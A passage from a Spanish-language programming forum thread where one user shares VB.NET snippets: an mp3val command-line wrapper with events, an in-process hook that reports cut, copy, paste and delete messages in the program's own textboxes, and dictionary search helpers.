  553.                      Effects,
  554.                      Priority,
  555.                      Processor)
  556.  
  557.    End Sub
  558.  
  559.    ''' <summary>
  560.    ''' Join all DSP Effects and returns a formatted string.
  561.    ''' </summary>
  562.    Private Function Get_Effects(ByVal DSP_Effects() As DSP_Effects) As String
  563.  
  564.        If DSP_Effects Is Nothing Then
  565.  
  566.            Return Nothing
  567.  
  568.        Else
  569.  
  570.            For Effect As Integer = 0 To DSP_Effects.Length - 1
  571.                Effects &= String.Format(" -dspeffect{0}={1}", _
  572.                                         Effect + 1, _
  573.                                         Format_DSP_Effect(DSP_Effects(Effect).ToString))
  574.            Next Effect
  575.  
  576.            Return Effects
  577.  
  578.        End If
  579.  
  580.    End Function
  581.  
  582.    ''' <summary>
  583.    ''' Returns a formatted string of a single DSP Effects.
  584.    ''' </summary>
  585.    Private Shared Function Format_DSP_Effect(ByVal Effect As String)
  586.  
  587.        Select Case Effect
  588.  
  589.            Case "Reverse"
  590.                Return """Reverse"""
  591.  
  592.            Case "Delete_Output_File_on_Error"
  593.                Return """Delete Destination File on Error="""
  594.  
  595.            Case "Recycle_Source_File_After_Conversion"
  596.                Return """Delete Source File=-recycle"""
  597.  
  598.            Case "Delete_Source_File_After_Conversion"
  599.                Return """Delete Source File="""
  600.  
  601.            Case "Karaoke_Remove_Voice"
  602.                Return """Karaoke (Voice_ Instrument Removal)="""
  603.  
  604.            Case "Karaoke_Remove_Instrument"
  605.                Return """Karaoke (Voice_ Instrument Removal)=-i"""
  606.  
  607.            Case "Write_Silence"
  608.                Return """Write Silence=-lengthms={qt}2000{qt}""" ' 2 seconds
  609.  
  610.            Case Else
  611.                Return String.Empty
  612.  
  613.        End Select
  614.  
  615.    End Function
  616.  
  617. #End Region
  618.  
  619. #Region " IDisposable "
  620.  
  621.      ''' <summary>
  622.      ''' Disposes the objects generated by this instance.
  623.      ''' </summary>
  624.      Public Sub Dispose() Implements IDisposable.Dispose
  625.          Dispose(True)
  626.          GC.SuppressFinalize(Me)
  627.      End Sub
  628.  
  629.      Protected Overridable Sub Dispose(IsDisposing As Boolean)
  630.  
  631.          Static IsBusy As Boolean ' To detect redundant calls.
  632.  
  633.          If Not IsBusy AndAlso IsDisposing Then
  634.  
  635.              p.Dispose()
  636.  
  637.          End If
  638.  
  639.          IsBusy = True
  640.  
  641.      End Sub
  642.  
  643.  #End Region
  644.  
  645. End Class
  646.  
  647. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2013, 01:40 am
Una versión mejorada de mi ayudante para la aplicación mp3val... mejoré lo que pude el código y le añadi algunos eventos esenciales...

Un ejemplo de uso:

Código
  1.    Public Class Form1
  2.  
  3.        Private WithEvents _mp3val As New mp3val _
  4.                With {.mp3val_location = "C:\windows\system32\mp3val.exe",
  5.                      .CheckFileExist = True}
  6.  
  7.        Private Sub Test() Handles MyBase.Shown
  8.  
  9.            MsgBox(_mp3val.Is_Avaliable()) ' Checks if mp3gain executable is avaliable.
  10.  
  11.            MsgBox(_mp3val.Get_Tags(New IO.FileInfo("C:\File.mp3"))) ' Return the TagTypes of an MP3 file.
  12.  
  13.            _mp3val.Analyze("C:\File.mp3") ' Analyzes an MP3 file.
  14.  
  15.            _mp3val.Fix("C:\File.mp3") ' Fix an MP3 file.
  16.  
  17.        End Sub
  18.  
  19.        ' mp3val [Started]
  20.        Private Sub mp3val_Started(ByVal sender As Process, ByVal e As mp3val.StartedEventArgs) _
  21.        Handles _mp3val.Started
  22.  
  23.            Dim sb As New System.Text.StringBuilder
  24.  
  25.            sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
  26.            sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
  27.            sb.AppendLine(String.Format("mp3val process PID is: ""{0}""", CStr(sender.Id)))
  28.  
  29.            MessageBox.Show(sb.ToString, "mp3val", MessageBoxButtons.OK, MessageBoxIcon.Information)
  30.  
  31.        End Sub
  32.  
  33.        ' mp3val [Exited]
  34.        Private Sub mp3val_Exited(ByVal sender As Process, ByVal e As mp3val.ExitedEventArgs) _
  35.        Handles _mp3val.Exited
  36.  
  37.            Dim sb As New System.Text.StringBuilder
  38.  
  39.            sb.AppendLine(String.Format("Finished an ""{1}"" operation in file ""{2}""{0}",
  40.                                        Environment.NewLine,
  41.                                        e.Operation.ToString,
  42.                                        e.File))
  43.  
  44.            sb.AppendLine(String.Format("File information:{0}{1}{0}",
  45.                                        Environment.NewLine,
  46.                                        e.Info))
  47.  
  48.            sb.AppendLine("Warnings found:")
  49.            If e.Warnings.Count Then
  50.                For Each wrn As String In e.Warnings
  51.                    sb.AppendLine(wrn)
  52.                Next wrn
  53.            Else
  54.                sb.AppendLine("Any" & Environment.NewLine)
  55.            End If
  56.  
  57.            sb.AppendLine("Errors found:")
  58.            If e.Errors.Count Then
  59.                For Each err As String In e.Errors
  60.                    sb.AppendLine(err)
  61.                Next err
  62.            Else
  63.                sb.AppendLine("Any" & Environment.NewLine)
  64.            End If
  65.  
  66.            If e.Operation = mp3val.Operation.Fix Then
  67.                sb.AppendLine(String.Format("File was fixed?: {0}",
  68.                                            e.FileIsFixed))
  69.            End If
  70.  
  71.            MessageBox.Show(sb.ToString,
  72.                            "mp3val",
  73.                            MessageBoxButtons.OK,
  74.                            MessageBoxIcon.Information)
  75.  
  76.        End Sub
  77.  
  78.    End Class

El ayudante:

Código:
' [ mp3val Helper ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "mp3val.exe" into the directory project.

Código
  1. #Region " mp3val Helper "
  2.  
  3. Public Class mp3val : Implements IDisposable
  4.  
  5. #Region " CommandLine parametter legend "
  6.  
  7.    ' -f  | try to fix errors
  8.    ' -nb | delete .bak file
  9.    ' -t  | keep file timestamp
  10.  
  11. #End Region
  12.  
  13. #Region " Variables, Properties, Enums "
  14.  
  15.    ''' <summary>
  16.    ''' Gets or sets the mp3val executable path.
  17.    ''' </summary>
  18.    Public Property mp3val_location As String = ".\mp3val.exe"
  19.  
  20.    ''' <summary>
  21.    ''' Indicates if should check that the MP3 file exist before realize an operation.
  22.    ''' If True, an exception will be launched if file does not exist.
  23.    ''' </summary>
  24.    Public Property CheckFileExist As Boolean = False
  25.  
  26.    ''' <summary>
  27.    ''' Stores the process StandardOutput.
  28.    ''' </summary>
  29.    Private StandardOutput As String = String.Empty
  30.  
  31.    ''' <summary>
  32.    ''' Stores the process StandardError.
  33.    ''' </summary>
  34.    Private StandardError As String = String.Empty
  35.  
  36.    ''' <summary>
  37.    ''' Stores some information about the file.
  38.    ''' </summary>
  39.    Private Info As String = String.Empty
  40.  
  41.    ''' <summary>
  42.    ''' Stores all the warnings of the file.
  43.    ''' </summary>
  44.    Private Warnings As New List(Of String)
  45.  
  46.    ''' <summary>
  47.    ''' Stores all the errors of the file.
  48.    ''' </summary>
  49.    Private Errors As New List(Of String)
  50.  
  51.    ''' <summary>
  52.    ''' Stores the tags of the file.
  53.    ''' </summary>
  54.    Private Tags As String = String.Empty
  55.  
  56.    ''' <summary>
  57.    ''' Gets some information about the file.
  58.    ''' </summary>
  59.    Private Info_RegEx As New System.Text.RegularExpressions.Regex("INFO:.*:\s(.*)",
  60.                              System.Text.RegularExpressions.RegexOptions.Multiline)
  61.  
  62.    ''' <summary>
  63.    ''' Gets all the warning occurences.
  64.    ''' </summary>
  65.    Private Warning_RegEx As New System.Text.RegularExpressions.Regex("WARNING:.*:\s(.*)",
  66.                                 System.Text.RegularExpressions.RegexOptions.Multiline)
  67.  
  68.    ''' <summary>
  69.    ''' Gets a value indicating if the file was fixed or not.
  70.    ''' </summary>
  71.    Private Fixed_RegEx As New System.Text.RegularExpressions.Regex("^FIXED:",
  72.                               System.Text.RegularExpressions.RegexOptions.Multiline)
  73.  
  74.    ''' <summary>
  75.    ''' mp3val Process
  76.    ''' </summary>
  77.    Private p As Process =
  78.        New Process With {.StartInfo =
  79.            New ProcessStartInfo With {
  80.                  .CreateNoWindow = True,
  81.                  .UseShellExecute = False,
  82.                  .RedirectStandardError = True,
  83.                  .RedirectStandardOutput = True _
  84.           }
  85.        }
  86.  
  87.    ''' <summary>
  88.    ''' Stores the StartedEventArgs Arguments.
  89.    ''' </summary>
  90.    Private StartedArgs As New StartedEventArgs
  91.  
  92.    ''' <summary>
  93.    ''' Stores the ExitedEventArgs Arguments.
  94.    ''' </summary>
  95.    Private ExitedArgs As New ExitedEventArgs
  96.  
  97.    ''' <summary>
  98.    ''' MP3Val Type Of Operation.
  99.    ''' </summary>
  100.    Public Enum Operation As Short
  101.        Analyze = 0
  102.        Fix = 1
  103.        Get_Tags = 2
  104.    End Enum
  105.  
  106. #End Region
  107.  
  108. #Region " Events "
  109.  
  110.    ''' <summary>
  111.    ''' Event raised when the process has started.
  112.    ''' </summary>
  113.    Public Event Started As EventHandler(Of StartedEventArgs)
  114.    Public Class StartedEventArgs : Inherits EventArgs
  115.        ''' <summary>
  116.        ''' Gets the file that was passed as argument to the process.
  117.        ''' </summary>
  118.        Public Property File As String
  119.        ''' <summary>
  120.        ''' Gets the type of operation to realize.
  121.        ''' </summary>
  122.        Public Property Operation As Operation
  123.    End Class
  124.  
  125.    ''' <summary>
  126.    ''' Event raised when the process has exited.
  127.    ''' </summary>
  128.    Public Event Exited As EventHandler(Of ExitedEventArgs)
  129.    Public Class ExitedEventArgs : Inherits EventArgs
  130.        ''' <summary>
  131.        ''' Gets the file that was passed as argument to the process.
  132.        ''' </summary>
  133.        Public Property File As String
  134.        ''' <summary>
  135.        ''' Gets the type of operation to realize.
  136.        ''' </summary>
  137.        Public Property Operation As Operation
  138.        ''' <summary>
  139.        ''' Gets some information about the file.
  140.        ''' </summary>
  141.        Public Property Info As String
  142.        ''' <summary>
  143.        ''' Gets the warnings found.
  144.        ''' </summary>
  145.        Public Property Warnings As New List(Of String)
  146.        ''' <summary>
  147.        ''' Gets the errors found.
  148.        ''' </summary>
  149.        Public Property Errors As New List(Of String)
  150.        ''' <summary>
  151.        ''' Gets a value indicating if file was fixed.
  152.        ''' This is only usefull when doing a Fix operation.
  153.        ''' </summary>
  154.        Public Property FileIsFixed As Boolean
  155.    End Class
  156.  
  157. #End Region
  158.  
  159. #Region " MP3Val Procedures "
  160.  
  161.    ''' <summary>
  162.    ''' Checks if mp3val process is avaliable.
  163.    ''' </summary>
  164.    Public Function Is_Avaliable() As Boolean
  165.        Return IO.File.Exists(Me.mp3val_location)
  166.    End Function
  167.  
  168.    ''' <summary>
  169.    ''' Analyzes a file and returns the problems (if any).
  170.    ''' </summary>
  171.    Public Function Analyze(ByVal MP3_File As String) As List(Of String)
  172.  
  173.        Return Run_MP3VAL(MP3_File,
  174.                          Operation.Analyze,
  175.                          ControlChars.Quote & MP3_File & ControlChars.Quote)
  176.  
  177.    End Function
  178.  
  179.    ''' <summary>
  180.    ''' Analyzes a file and returns the problems (if any).
  181.    ''' </summary>
  182.    Public Function Analyze(ByVal MP3_File As IO.FileInfo) As List(Of String)
  183.  
  184.        Return Run_MP3VAL(MP3_File.FullName,
  185.                          Operation.Analyze,
  186.                          ControlChars.Quote & MP3_File.FullName & ControlChars.Quote)
  187.  
  188.    End Function
  189.  
  190.    ''' <summary>
  191.    ''' Try to Fix/Rebuild problems of a file,
  192.    ''' and returns a value indicating if file was fixed or not.
  193.    ''' </summary>
  194.    Public Function Fix(ByVal MP3_File As String,
  195.                        Optional ByVal Delete_Backup_File As Boolean = False,
  196.                        Optional ByVal Preserve_Datestamp As Boolean = True) As Boolean
  197.  
  198.        Return Run_MP3VAL(MP3_File,
  199.                          Operation.Fix,
  200.                          String.Format("-f {0} {1} ""{2}""",
  201.                                        If(Delete_Backup_File, "-nb", ""),
  202.                                        If(Preserve_Datestamp, "-t", ""),
  203.                                        MP3_File))
  204.  
  205.    End Function
  206.  
  207.    ''' <summary>
  208.    ''' Try to Fix/Rebuild problems of a file,
  209.    ''' and returns a value indicating if file was fixed or not.
  210.    ''' </summary>
  211.    Public Function Fix(ByVal MP3_File As IO.FileInfo,
  212.                        Optional ByVal Delete_Backup_File As Boolean = False,
  213.                        Optional ByVal Preserve_Datestamp As Boolean = True) As Boolean
  214.  
  215.        Return Run_MP3VAL(MP3_File.FullName,
  216.                          Operation.Fix,
  217.                          String.Format("-f {0} {1} ""{2}""",
  218.                                        If(Delete_Backup_File, "-nb", ""),
  219.                                        If(Preserve_Datestamp, "-t", ""),
  220.                                        MP3_File.FullName))
  221.  
  222.    End Function
  223.  
  224.    ''' <summary>
  225.    ''' Return the metadata ID types of a file.
  226.    ''' </summary>
  227.    Public Function Get_Tags(ByVal MP3_File As String) As String
  228.  
  229.        Return Run_MP3VAL(MP3_File,
  230.                          Operation.Get_Tags,
  231.                          ControlChars.Quote & MP3_File & ControlChars.Quote)
  232.  
  233.    End Function
  234.  
  235.    ''' <summary>
  236.    ''' Return the metadata ID types of a file.
  237.    ''' </summary>
  238.    Public Function Get_Tags(ByVal MP3_File As IO.FileInfo) As String
  239.  
  240.        Return Run_MP3VAL(MP3_File.FullName,
  241.                          Operation.Get_Tags,
  242.                          ControlChars.Quote & MP3_File.FullName & ControlChars.Quote)
  243.  
  244.    End Function
  245.  
  246. #End Region
  247.  
  248. #Region " Run Procedure "
  249.  
  250.    ''' <summary>
  251.    ''' Runs mp3val process.
  252.    ''' </summary>
  253.    Private Function Run_MP3VAL(ByVal MP3_File As String,
  254.                                ByVal operation As Operation,
  255.                                ByVal arguments As String) As Object
  256.  
  257.        If Me.CheckFileExist Then
  258.            FileExist(MP3_File)
  259.        End If
  260.  
  261.        With p.StartInfo
  262.            .FileName = Me.mp3val_location
  263.            .Arguments = arguments
  264.        End With
  265.  
  266.        Warnings.Clear() : Errors.Clear()
  267.  
  268.        p.Start()
  269.        RaiseEvent_Started(MP3_File, operation)
  270.        p.WaitForExit()
  271.  
  272.        StandardError = p.StandardError.ReadToEnd
  273.        StandardOutput = p.StandardOutput.ReadToEnd
  274.  
  275.        Info = Info_RegEx.Match(StandardOutput).Groups(1).Value.Trim
  276.  
  277.        For Each m As System.Text.RegularExpressions.Match In Warning_RegEx.Matches(StandardOutput)
  278.            Warnings.Add(m.Groups(1).Value)
  279.        Next m
  280.  
  281.        For Each e As String In StandardError.Split(Environment.NewLine)
  282.            If Not String.IsNullOrEmpty(e.Trim) Then
  283.                Errors.Add(e)
  284.            End If
  285.        Next e
  286.  
  287.        Select Case operation
  288.  
  289.            Case mp3val.Operation.Analyze
  290.                RaiseEvent_Exited(MP3_File,
  291.                                  operation.Analyze,
  292.                                  Info,
  293.                                  Warnings.Distinct.ToList,
  294.                                  Errors,
  295.                                  False)
  296.  
  297.                Return Warnings.Concat(Errors).Distinct.ToList
  298.  
  299.            Case mp3val.Operation.Fix
  300.                RaiseEvent_Exited(MP3_File,
  301.                                  operation.Fix,
  302.                                  Info,
  303.                                  Warnings.Distinct.ToList,
  304.                                  Errors,
  305.                                  Fixed_RegEx.IsMatch(StandardOutput))
  306.  
  307.                Return Fixed_RegEx.IsMatch(StandardOutput)
  308.  
  309.            Case mp3val.Operation.Get_Tags
  310.                RaiseEvent_Exited(MP3_File,
  311.                                  operation.Get_Tags,
  312.                                  Info,
  313.                                  Warnings.Distinct.ToList,
  314.                                  Errors,
  315.                                  False)
  316.  
  317.                If Not String.IsNullOrEmpty(Info) Then
  318.  
  319.                    Tags = Info.Split(",")(1).Trim
  320.  
  321.                    If Tags = "no tags" Then
  322.                        Return "No tags"
  323.                    Else
  324.                        Return Tags.Substring(1).Replace("+", ", ")
  325.                    End If
  326.  
  327.                Else
  328.  
  329.                    Return "Can't examine tag type."
  330.  
  331.                End If
  332.  
  333.            Case Else
  334.                Return Nothing
  335.  
  336.        End Select
  337.  
  338.    End Function
  339.  
  340. #End Region
  341.  
  342. #Region " Miscellaneous preocedures "
  343.  
  344.    ''' <summary>
  345.    ''' Checks if a file exists.
  346.    ''' </summary>
  347.    Private Sub FileExist(ByVal File As String)
  348.  
  349.        If Not IO.File.Exists(File) Then
  350.            Throw New Exception(String.Format("File doesn't exist: ""{0}""", File))
  351.            ' MessageBox.Show(String.Format("File doesn't exist: ""{0}""", File), "mp3val", MessageBoxButtons.OK, MessageBoxIcon.Error)
  352.        End If
  353.  
  354.    End Sub
  355.  
  356.    ''' <summary>
  357.    ''' Raises the Event Started
  358.    ''' </summary>
  359.    Private Sub RaiseEvent_Started(ByVal File As String,
  360.                                   ByVal Operation As Operation)
  361.  
  362.        With StartedArgs
  363.            .File = File
  364.            .Operation = Operation
  365.        End With
  366.  
  367.        RaiseEvent Started(p, StartedArgs)
  368.  
  369.    End Sub
  370.  
  371.    ''' <summary>
  372.    ''' Raises the Event Exited
  373.    ''' </summary>
  374.    Private Sub RaiseEvent_Exited(ByVal File As String,
  375.                                  ByVal Operation As Operation,
  376.                                  ByVal Info As String,
  377.                                  ByVal Warnings As List(Of String),
  378.                                  ByVal Errors As List(Of String),
  379.                                  ByVal IsFixed As Boolean)
  380.  
  381.        With ExitedArgs
  382.            .File = File
  383.            .Operation = Operation
  384.            .Info = Info
  385.            .Warnings = Warnings
  386.            .Errors = Errors
  387.            .FileIsFixed = IsFixed
  388.        End With
  389.  
  390.        RaiseEvent Exited(p, ExitedArgs)
  391.  
  392.    End Sub
  393.  
  394. #End Region
  395.  
  396. #Region " IDisposable "
  397.  
  398.      ''' <summary>
  399.      ''' Disposes the objects generated by this instance.
  400.      ''' </summary>
  401.      Public Sub Dispose() Implements IDisposable.Dispose
  402.          Dispose(True)
  403.          GC.SuppressFinalize(Me)
  404.      End Sub
  405.  
  406.      Protected Overridable Sub Dispose(IsDisposing As Boolean)
  407.  
  408.          Static IsBusy As Boolean ' To detect redundant calls.
  409.  
  410.          If Not IsBusy AndAlso IsDisposing Then
  411.  
  412.              p.Dispose()
  413.  
  414.          End If
  415.  
  416.          IsBusy = True
  417.  
  418.      End Sub
  419.  
  420.  #End Region
  421.  
  422. End Class
  423.  
  424. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 11 Noviembre 2013, 01:44 am
Un pequeño hook para capturar los mensajes del menú de edición del menú contextual (por defecto) de un Textbox (las opciones de copiar, pegar, cortar, y eliminar).

En un post anterior posteé la forma de capturarl dichos mensajes heredando el Textbox, pero este código es diferente, no depende de ningun control, se puede usar como otra Class cualquiera para capturar los mensajes en cualquier textbox (menos los textbox de Krypton y otros...) sin necesidad de heredar el control.

PD: El código no es del todo de mi propiedad, me han ayudado un poquito.

Código
  1. #Region " Capture Windows ContextMenu Edit Options "
  2.  
  3. ' [ Capture Windows ContextMenu Edit Options ]
  4. '
  5. ' Examples :
  6. '
  7. ' Public Class Form1
  8. '
  9. '     Private WithEvents EditMenu As New EditMenuHook
  10. '
  11. '     Protected Overrides Sub OnLoad(e As EventArgs)
  12. '         MyBase.OnLoad(e)
  13. '         ' Capture the EditMenu Messages for TextBox1 and TextBox2
  14. '         EditMenuHook.Controls = {TextBox1, TextBox2}
  15. '         ' Enable the Hook
  16. '         EditMenuHook.Enable(True)
  17. '     End Sub
  18. '
  19. '     Protected Overrides Sub OnClosed(e As EventArgs)
  20. '         ' Disable the Hook
  21. '         EditMenuHook.Enable(False)
  22. '         MyBase.OnClosed(e)
  23. '     End Sub
  24. '
  25. '     Private Sub TextBox_OnTextCommand(sender As Object, e As EditMenuHook.TextCommandEventArgs) _
  26. '     Handles EditMenu.OnCopy, EditMenu.OnCut, EditMenu.OnPaste, EditMenu.OnDelete
  27. '
  28. '         MessageBox.Show(String.Format("Control:{0}  Message:{1}", sender.name, e.Command.ToString))
  29. '
  30. '     End Sub
  31. '
  32. ' End Class
  33.  
  34. Imports System.Runtime.InteropServices
  35.  
  36. Friend Class EditMenuHook
  37.  
  38.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  39.    Public Overloads Shared Function SetWindowsHookEx _
  40.          (ByVal idHook As Integer, ByVal HookProc As CallBack, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
  41.    End Function
  42.  
  43.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  44.    Public Overloads Shared Function CallNextHookEx _
  45.          (ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
  46.    End Function
  47.  
  48.    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
  49.    Public Overloads Shared Function UnhookWindowsHookEx _
  50.              (ByVal idHook As Integer) As Boolean
  51.    End Function
  52.  
  53.    Public Enum TextCommandMessage
  54.        WM_CUT = &H300
  55.        WM_COPY = &H301
  56.        WM_PASTE = &H302
  57.        WM_DELETE = &H303
  58.    End Enum
  59.  
  60.    Public Structure CWPSTRUCT
  61.        Public lParam As IntPtr
  62.        Public wParam As IntPtr
  63.        Public message As UInt32
  64.        Public hWnd As IntPtr
  65.    End Structure
  66.  
  67.    Public Delegate Function CallBack( _
  68.        ByVal nCode As Integer, _
  69.        ByVal wParam As IntPtr, _
  70.        ByVal lParam As IntPtr) As Integer
  71.  
  72.    Private Shared WithEvents CopyOrCut_Timer As New Timer _
  73.                   With {.Interval = 50, .Enabled = False}
  74.  
  75.    ' The Control to monitor and report the TextCommand Messages.
  76.    Public Shared Controls As Control() = Nothing
  77.  
  78.    Public Shared MessagesEnabled As Boolean = True
  79.  
  80.    Private Shared CopyMessageEnabled As Boolean = True
  81.  
  82.    Shared hHook As Integer = 0
  83.  
  84.    Private Shared cwp As CWPSTRUCT
  85.  
  86.    Private Const WH_CALLWNDPROC = 4
  87.  
  88.    'Keep the reference so that the delegate is not garbage collected.
  89.    Private Shared hookproc As CallBack
  90.  
  91.    Public Class TextCommandEventArgs
  92.        Inherits EventArgs
  93.        Public Property Command As TextCommandMessage
  94.    End Class
  95.  
  96.    Shared Event OnCut(sender As Object, e As TextCommandEventArgs)
  97.    Shared Event OnCopy(sender As Object, e As TextCommandEventArgs)
  98.    Shared Event OnPaste(sender As Object, e As TextCommandEventArgs)
  99.    Shared Event OnDelete(sender As Object, e As TextCommandEventArgs)
  100.  
  101.    Friend Shared Sub Enable(enable As Boolean)
  102.  
  103.        If hHook = 0 AndAlso enable = True Then
  104.  
  105.            hookproc = AddressOf EditCommandHook
  106.            hHook = SetWindowsHookEx(WH_CALLWNDPROC, _
  107.                                     hookproc, _
  108.                                     IntPtr.Zero, _
  109.                                     AppDomain.GetCurrentThreadId())
  110.  
  111.            If hHook.Equals(0) Then
  112.                MsgBox("SetWindowsHookEx Failed")
  113.                Return
  114.            End If
  115.  
  116.        ElseIf hHook <> 0 AndAlso enable = False Then
  117.  
  118.            Dim ret As Boolean = UnhookWindowsHookEx(hHook)
  119.  
  120.            If ret.Equals(False) Then
  121.                MsgBox("UnhookWindowsHookEx Failed")
  122.                Return
  123.            Else
  124.                hHook = 0
  125.            End If
  126.  
  127.        End If
  128.  
  129.    End Sub
  130.  
  131.    Private Shared Function EditCommandHook(ByVal nCode As Integer, _
  132.                                            ByVal wParam As IntPtr, _
  133.                                            ByVal lParam As IntPtr) As Integer
  134.  
  135.        If nCode < 0 Then
  136.            Return CallNextHookEx(hHook, nCode, wParam, lParam)
  137.        End If
  138.  
  139.        cwp = DirectCast(Marshal.PtrToStructure(lParam, GetType(CWPSTRUCT)), CWPSTRUCT)
  140.  
  141.        For Each ctrl As Control In Controls
  142.  
  143.            If cwp.hWnd = ctrl.Handle Then
  144.  
  145.                Select Case cwp.message
  146.  
  147.                    Case TextCommandMessage.WM_CUT
  148.                        CopyMessageEnabled = False
  149.                        RaiseEvent OnCut(ctrl, New TextCommandEventArgs() _
  150.                                               With {.Command = TextCommandMessage.WM_CUT})
  151.  
  152.                    Case TextCommandMessage.WM_COPY
  153.                        If CopyMessageEnabled Then
  154.                            RaiseEvent OnCopy(ctrl, New TextCommandEventArgs() _
  155.                                                    With {.Command = TextCommandMessage.WM_COPY})
  156.                        Else
  157.                            CopyMessageEnabled = True
  158.                        End If
  159.  
  160.                    Case TextCommandMessage.WM_PASTE
  161.                        RaiseEvent OnPaste(ctrl, New TextCommandEventArgs() _
  162.                                                 With {.Command = TextCommandMessage.WM_PASTE})
  163.  
  164.                    Case TextCommandMessage.WM_DELETE
  165.                        RaiseEvent OnDelete(ctrl, New TextCommandEventArgs() _
  166.                                                  With {.Command = TextCommandMessage.WM_DELETE})
  167.  
  168.                End Select
  169.  
  170.            End If
  171.        Next
  172.  
  173.        Return CallNextHookEx(hHook, nCode, wParam, lParam)
  174.  
  175.    End Function
  176.  
  177. End Class
  178.  
  179. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 12 Noviembre 2013, 18:22 pm
Devuelve un Array con las ocurrencias que se encuentren de una Value en un Diccionario

Código
  1. #Region " Match Dictionary Values "
  2.  
  3.    ' [ Match Dictionary Values ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Match_Dictionary_Values(New Dictionary(Of Integer, String) From {{1, "Hello World!"}},
  10.    '                                "hello", False, StringComparison.CurrentCultureIgnoreCase).First.Value)
  11.  
  12.    Private Function Match_Dictionary_Values(Of K)(
  13.                     ByVal Dictionary As Dictionary(Of K, String),
  14.                     ByVal Value As String,
  15.                     ByVal MatchWholeWord As Boolean,
  16.                     ByVal IgnoreCase As StringComparison) As KeyValuePair(Of K, String)()
  17.  
  18.        If MatchWholeWord Then
  19.  
  20.            Return (From kp As KeyValuePair(Of K, String) In Dictionary
  21.                    Where String.Compare(kp.Value, Value, IgnoreCase) = 0).ToArray
  22.        Else
  23.  
  24.            Return (From kp As KeyValuePair(Of K, String) In Dictionary
  25.                    Where kp.Value.IndexOf(Value, 0, IgnoreCase) > -1).ToArray
  26.  
  27.        End If
  28.  
  29.    End Function
  30.  
  31. #End Region





Devuelve un Array con las ocurrencias que se encuentren de una Key en un Diccionario

Código
  1. #Region " Match Dictionary Keys "
  2.  
  3.    ' [ Match Dictionary Keys ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Match_Dictionary_Keys(New Dictionary(Of String, Integer) From {{"Hello World!", 1}},
  10.    '                              "hello", False, StringComparison.CurrentCultureIgnoreCase).First.Key)
  11.  
  12.    Private Function Match_Dictionary_Keys(Of V)(
  13.                     ByVal Dictionary As Dictionary(Of String, V),
  14.                     ByVal Key As String,
  15.                     ByVal MatchWholeWord As Boolean,
  16.                     ByVal IgnoreCase As StringComparison) As KeyValuePair(Of String, V)()
  17.  
  18.        If MatchWholeWord Then
  19.  
  20.            Return (From kp As KeyValuePair(Of String, V) In Dictionary
  21.                    Where String.Compare(kp.Key, Key, IgnoreCase) = 0).ToArray
  22.        Else
  23.  
  24.            Return (From kp As KeyValuePair(Of String, V) In Dictionary
  25.                    Where kp.Key.IndexOf(Key, 0, IgnoreCase) > -1).ToArray
  26.  
  27.        End If
  28.  
  29.    End Function
  30.  
  31. #End Region





Devuelve True si se encuentra alguna ocurrencia de un Value en un Diccionario.

Código
  1. #Region " Find Dictionary Value "
  2.  
  3.    ' [ Find Dictionary Value ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    '  MsgBox(Find_Dictionary_Value(
  10.    '         New Dictionary(Of Integer, String) From {{1, "ABC"}},
  11.    '         "abc", True, StringComparison.CurrentCultureIgnoreCase))
  12.  
  13.    Private Function Find_Dictionary_Value(Of K)(
  14.                     ByVal Dictionary As Dictionary(Of K, String),
  15.                     ByVal Value As String,
  16.                     ByVal MatchWholeWord As Boolean,
  17.                     ByVal IgnoreCase As StringComparison) As Boolean
  18.  
  19.        If MatchWholeWord Then
  20.  
  21.            Return (From kp As KeyValuePair(Of K, String) In Dictionary
  22.                    Where String.Compare(kp.Value, Value, IgnoreCase) = 0).Any
  23.        Else
  24.  
  25.            Return (From kp As KeyValuePair(Of K, String) In Dictionary
  26.                    Where kp.Value.IndexOf(Value, 0, IgnoreCase) > -1).Any
  27.  
  28.        End If
  29.  
  30.    End Function
  31.  
  32. #End Region




Devuelve True si se encuentra alguna ocurrencia de una Key en un Diccionario.

Código
  1. #Region " Find Dictionary Key "
  2.  
  3.    ' [ Find Dictionary Key ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    '
  9.    ' MsgBox(Find_Dictionary_Key(
  10.    '        New Dictionary(Of String, Integer) From {{"ABC", 1}},
  11.    '        "abc", True, StringComparison.CurrentCultureIgnoreCase))
  12.  
  13.    Private Function Find_Dictionary_Key(Of V)(
  14.                     ByVal Dictionary As Dictionary(Of String, V),
  15.                     ByVal Key As String,
  16.                     ByVal MatchWholeWord As Boolean,
  17.                     ByVal IgnoreCase As StringComparison) As Boolean
  18.  
  19.        If MatchWholeWord Then
  20.  
  21.            Return (From kp As KeyValuePair(Of String, V) In Dictionary
  22.                    Where String.Compare(kp.Key, Key, IgnoreCase) = 0).Any
  23.        Else
  24.  
  25.            Return (From kp As KeyValuePair(Of String, V) In Dictionary
  26.                    Where kp.Key.IndexOf(Key, 0, IgnoreCase) > -1).Any
  27.  
  28.        End If
  29.  
  30.    End Function
  31.  
  32. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 13 Noviembre 2013, 06:23 am
